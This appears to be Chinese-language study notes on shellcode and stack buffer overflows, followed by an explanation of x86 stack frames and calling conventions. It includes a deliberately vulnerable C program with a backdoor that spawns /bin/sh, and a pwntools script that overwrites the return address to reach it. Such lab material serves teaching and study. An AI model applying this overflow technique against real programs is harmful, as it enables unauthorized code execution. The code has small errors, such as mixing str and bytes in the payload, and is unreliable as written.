Shellcode的使用于介绍

Shellcode 实际上是一段可以独立执行的代码(也可以认为是一段填充数据),在触发了缓冲区溢出漏洞并获取了eip指针的控制权后,通常会将eip指针指向Shellcode以完成漏洞利用全过程。从功能上看,Shellcode在整个漏洞利用过程中发挥主要作用实现对计算机端的控制。

image-20230525222041281

Shellcode是漏洞利用的必须的一个要素,也是漏洞分析的重要环节。我们可以通过对Shellcode进行定位来辅助回潮漏洞原理,并确定漏洞特征。通过对Shellcode功能的分析,我们还可以确定漏洞样本的漏洞样本的危害程度及目的,并有可能追踪攻击来源,这对APT攻击分析中的溯源工作非常有利

Shellcode 在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码。它不依赖任何编译环境,也不能像在 IDE 中直接编写代码那样调用 API 两数名称来实现功能。它通过主动查找DLL基址并动态获取API地址的方式来实现API 调用,然后根据实际功能调用相应的 API 两数来完成其自身的功能。

Shelleode 分为两个模块,分别是基本模块和功能模块,结构如图所示。

image-20230525223123130

例子

什么是栈溢出?

栈溢出这个东西其实就是程序给你划分了一块空间,但是你写的代码允许输入超出这片空间大小的数据,就把你的数据输入到了合法空间之外的地方造成了破坏,那么在这不允许用户操作的空间之中有着多的关键寄存器可以被我们控制我们利用栈溢出传输数据改变寄存器的值达到代码执行的效果。

存在栈溢出的危险操作

1
2
3
4
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf("%s")无限制长度输入数据
read(0,buf,xx) xx的大小大于buf本身

这里做个简单的不开启PIE 不开启canary保护的程序

1
2
3
4
5
6
7
8
9
10
11
//shellcodetest
#include<stdio.h>
void main()
{
char buf[0x10];
read(0,buf,0x100);
}
void backdoor()
{
system("/bin/sh");
}
  • vim code.c
  • 把代码复制进去 :wq保存
  • gcc -m64 -fno-stack-protector code.c -o code

image-20230525224332228

ok

00400566 0040058C

1
2
3
4
5
6
7
8
9
from pwn import *
r = process("./code")

ret = 0x00400566 #这个是有溢出漏洞位置的函数
back = 0x0040058C #这个是含有后面的函数

payload = "a"*0x18 + p64(ret)+p64(back)#"a"*0x18 这个是需要溢出的大小
r.sendline(payload)
r.interactive()

image-20230525232604625

二进制安全漏洞之缓冲区溢出

C函数调用过程原理及函数栈帧分析

栈是什么?

栈式一种LIFO【last in first out】的数据结构。所有的数据都是先进后出的。栈支持两种基本操作,push和pop。push将数据压入栈中,pop将栈中的数据弹出并存储到指定寄存器或者内存中

image-20230526203556140

image-20230526203803454

这里需要注意2个点

  • 1.上面例子中栈的生长方向是从高地址到低地址的,这是因为在下文讲的栈帧中,栈就是向下生长的,因此这里也用这种形式的栈;

  • 2.pop操作后,栈中的数据并没有被清空,只是该数据我们无法直接访问。

有了这些栈的基本知识,我们现在可以来看看在x86-32bit系统下,C语言函数是如何调用的了。

栈帧是什么?

栈帧,也就是stack frame,其本质就是一种栈。一种专门用于保存函数调用过程中各种信息【参数,返回地址,本地变量等】。

栈帧有栈顶和栈底之分,其中栈顶的地址最低,栈底的地址最高。

在x86-32bit中,我们用 %ebp 指向栈底,也就是基址指针;用 %esp指向栈顶,也就是栈指针。

image-20230526204154062

并不是整个栈空间只有一个栈帧,每调用一个函数,就会生成一个新的栈帧。

我们将调用函数的函数称为“调用者(caller)”,将被调用的函数称为被调用者(callee)。在这个过程中

  1. 调用者需要知道在那里获取被调用者返回的值。
  2. 被调用者需要知道传入的参数在哪里。
  3. 返回的地址在哪里。同时我们需要保证在“被调用者”返回后,%ebp,%esp等寄存器的值应该和调用前一致。所以就需要用栈这个特殊的数据结构来保存数据

image-20230526204804049

调用者

  1. 把被调用者函数的参数按照从右到左的顺序压入栈中
  2. 将返回地址压入栈中,调用玩函数后要返回。

被调用者

  1. 将老的(调用者)%ebp压入栈,此时%esp指向它。
  2. 将%esp的值赋%ebp,%ebp就有了新的值,它也指向存放老%ebp的栈空间。此时,它成了函数栈帧的栈底。这样,我们就保存了调用者函数%ebp,并且建立了一个新的栈帧

这些其实在之前就有说到过。大概理解就好了。